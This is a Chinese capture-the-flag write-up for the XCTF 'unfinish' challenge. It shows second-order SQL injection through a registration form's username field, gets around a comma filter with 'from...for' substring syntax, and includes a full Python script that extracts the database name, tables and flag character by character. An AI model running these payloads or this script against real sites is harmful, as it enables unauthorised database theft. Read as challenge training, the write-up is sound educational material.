当前位置:网站首页>攻防世界----unfinish
攻防世界----unfinish
2022-08-02 13:06:00 【jjj34】
知识点:SQL二次注入
sql注入流程:找到注入点,进行fuzz测试,根据fuzz测试结果绕过,查flag
1.拿到题目后,先进行目录扫描

2.经过一系列测试:包括在register页面注册,然后去login页面查看
发现,在register页面的username字段是可以回显的
为什么要在username字段测试注入点,而不是在邮箱或者密码?
因为我们能看到username的回显。
判断注入点
在用户名处输入
0' and '1 
确定了存在注入
3.进行fuzz测试,看能不能找到被过滤的关键字
尝试对username字段进行fuzz测试
测试范围为所有的单字符(ascii值33-127)

长度为904的报文被过滤了,也就是逗号

目前看来,只过滤了逗号
逗号的绕过:from for绕过
substr(database(),1) -> substr(database() from 1 for 1)payload如下
username: 0' + ascii(substr(database() from 1 for 1)) +'0原因:
在注册界面,有三个字段因此我们猜测原句为
insert('邮箱','用户名','密码')而用户名是可以存在注入,并且具有回显的
为什么要用 0?
ascii可以将字符转化为ascii的值,0+任何数字都等于原字符,用其他数字也是可以的
0附近的两个单引号是为了闭合原句的单引号,如下
insert('邮箱','0' + ascii(substr(database() from 1 for 1)) +'0','密码')
第二个payload为
0' + ascii(substr(database() from 2 for 1)) +'0 
接下来就是写脚本,让脚本帮我们爆破。
脚本思路:在register页面进行注册
账号就 [email protected]? 对?进行递增
用户名就是正常的盲注
密码就是 admin
注册好后,去login.php页面,拿邮箱和密码登录,然后获取到回显的用户名
利用chr()函数将数字转化为字母
脚本可以去wp里拿
import requests
import re
register_url = "http://61.147.171.105:64712/register.php"
login_url = "http://61.147.171.105:64712/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'[email protected]'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'[email protected]'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'[email protected]'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'[email protected]'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'[email protected]'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'[email protected]'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)脚本解说
1.re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
因为用户名在html中是这么显示的
![]()
因此我们需要用到research函数结合正则匹配
re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
\s匹配空白符
\d匹配数字python正则表达式re.search()怎么使用? | w3c笔记 (w3cschool.cn)
2.asc = match.group(1)
原因:group(n)匹配第n个括号内的值
上文中 group(1) 就是匹配到 (\d*)也就是我们要的数字
import re
content = "abc123def"
rex_compile = re.compile("([a-z]*)([0-9]*)([a-z]*)")
rex = rex_compile.search(content)
print(rex.group())
print(rex.group(0)) # group()和group(0) 一样匹配的是整体
print(rex.group(1)) # 匹配第一个小括号的内容
print(rex.group(2)) # 匹配第二个小括号的内容
print(rex.group(3)) # 匹配第三个小括号的内容3.注意点
由于用户名是有限制的,因此在跑表名的时候会因为这个问题导致失败,需要手工去跑
边栏推荐
猜你喜欢

鲁大师7月新机性能/流畅榜:骁龙8+正面对决天玑9000+,性能跑分突破123万!

永远退出机器学习界!

为什么IDEA连接mysql Unable to resolve table 编译报错但是可以运行

RESTful style (detailed introduction + case implementation)

This binding to detailed answers

"Second Uncle" is popular, do you know the basic elements of "exploding" short videos from the media?

节省50%成本!京东云重磅发布新一代混合CDN产品

【C语言】明解数组(1)

How to connect DBeaver TDengine?

FreeRTOS creation tasks - dynamic creation, static creation
随机推荐
qt 编译报错 No rule to make target
Singleton pattern of seven kinds of writing, you know?
读《IDEO,设计改变一切》有感
ThinkPHP 5.1反序列化分析和poc
How to do short video food from the media?5 steps to teach you to get started quickly
短视频美食自媒体怎么做?5步教你快速上手
你知道图论的Dijkstra吗?
定了!2022世界VR产业大会将继续在南昌召开
Intouch System Platform IDE-1
package.json and package-lock.json
To eliminate air bubbles to save the mushroom h5 small game source code
自动生成代码器推荐-code-gen
RESTful style (detailed introduction + case implementation)
鲁大师7月新机性能/流畅榜:骁龙8+正面对决天玑9000+,性能跑分突破123万!
js cool dashboard plugin
Closures in JS
永远退出机器学习界!
高效代码静态测试工具Klocwork 2022.2——Portal全新升级、支持RLM
Set proxy server (Google+IE) "Recommended Collection"
"Second Uncle" is popular, do you know the basic elements of "exploding" short videos from the media?